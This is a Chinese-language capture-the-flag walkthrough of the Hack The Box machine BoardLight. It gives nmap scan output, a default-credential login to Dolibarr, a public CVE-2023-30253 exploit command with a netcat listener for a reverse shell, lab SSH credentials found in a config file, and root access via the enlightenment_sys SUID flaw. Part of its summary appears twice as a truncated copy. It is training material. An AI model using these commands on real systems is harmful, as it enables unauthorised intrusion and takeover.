BoardLight靶机笔记

概述

HTB的靶机BoardLight

靶机地址：https://app.hackthebox.com/machines/BoardLight

一、nmap扫描

1）端口扫描

-sT tcp全连接扫描 --min-rate 以最低速率10000扫描 -p- 扫描全端口

sudo nmap -sT --min-rate 10000 -p- -o ports 10.10.11.11

Warning: 10.10.11.11 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.11
Host is up (0.23s latency).
Not shown: 41074 closed tcp ports (conn-refused), 24459 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Aug 17 20:10:36 2024 -- 1 IP address (1 host up) scanned in 100.49 seconds

2）详情探测

-sT tcp全连接扫描 -sV 探测端口服务版本 -sC 使用默认脚本扫描 -O 探测目标操作系统

sudo nmap -sT -sV -sC -O -p22,80 10.10.11.11

Nmap scan report for 10.10.11.11
Host is up (0.36s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 062d3b851059ff7366277f0eae03eaf4 (RSA)
|   256 5903dc52873a359934447433783135fb (ECDSA)
|_  256 ab1338e43ee024b46938a9638238ddf4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 17 20:12:43 2024 -- 1 IP address (1 host up) scanned in 44.29 seconds

3) 漏洞脚本扫描

sudo nmap --script=vuln -o vuln 10.10.11.11 

Nmap scan report for 10.10.11.11          
Host is up (0.46s latency).          
Not shown: 998 closed tcp ports (reset)                     
PORT   STATE SERVICE                              
22/tcp open  ssh                          
80/tcp open  http   
| http-csrf:                                                                                                         [0/105]
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.11.11
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.10.11.11:80/
|     Form id: 
|     Form action: 
|     
|     Path: http://10.10.11.11:80/
|     Form id: 
|     Form action: 
|     
|     Path: http://10.10.11.11:80/about.php
|     Form id: 
|     Form action: 
|     
|     Path: http://10.10.11.11:80/do.php
|     Form id: 
|_    Form action: 
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter: 
|   
|     Couldn't find a file-type field.
|   
|     Couldn't find a file-type field.
|   
|_    Couldn't find a file-type field.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

# Nmap done at Sat Aug 17 20:16:04 2024 -- 1 IP address (1 host up) scanned in 156.22 seconds

二、Web渗透

1）域名发现

最底部发现域名 board.htb写进/etc/hosts文件中

sudo echo "10.10.11.11 board.htb" | sudo tee -a /etc/hosts 

对他进行子域名爆破和目录爆破

爆破处子域名 crm.board,htb写进/etc/hosts文件里

访问

http://crm.board.htb

看到了一个cms框架，尝试弱口令admin:admin

登陆进来

三、获得立足点

通过google搜索

找到了 : Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

根据github上边上的利用教程

kali本地

nc -lvvp 4444

利用脚本

python3 exploit.py http://crm.board.htb admin admin 10.10.14.69 4444

成功反弹shell

找到配置文件

找到了一组凭据

看一下用户

ls /home

larissa

ssh凭据 larissa:serverfun2$2023!!

连接ssh获得普通用户

ssh larissa@10.10.11.11

四、提权到root

find / -perm -4000 -type f 2> /dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper

看到enlightenment_sys,他有SUID提权漏洞

CVE-2022–37706

我们下载kail上，起一个php的80端口服务，在靶机上用wget下载下来 ，执行就可以到root

拿到root的flag

总结

1. 通过nmap扫描发现目标靶机开启了22,80端口
2. 对80端口的http服务进行了目录爆破和子域名爆破，发现了doblarr的cms框架，通过google搜索，找到了 Exploit-for-Dolibarr-17.0.0-CVE-2023-30253漏洞的利用脚本。
3. 通过利用cms的漏洞成功获得shell，通过对配置的阅读，发现了一组凭据larissa:serverfun2$2023!!，成功获得了用户的shell
4. 通过enlightenment这个桌面管理组件的SUID的利用成功获得了root的shell。

域名爆破，发现了doblarr的cms框架，通过google搜索，找到了 Exploit-for-Dolibarr-17.0.0-CVE-2023-30253漏洞的利用脚本。
3. 通过利用cms的漏洞成功获得shell，通过对配置的阅读，发现了一组凭据larissa:serverfun2$2023!!，成功获得了用户的shell
4. 通过enlightenment这个桌面管理组件的SUID的利用成功获得了root的shell。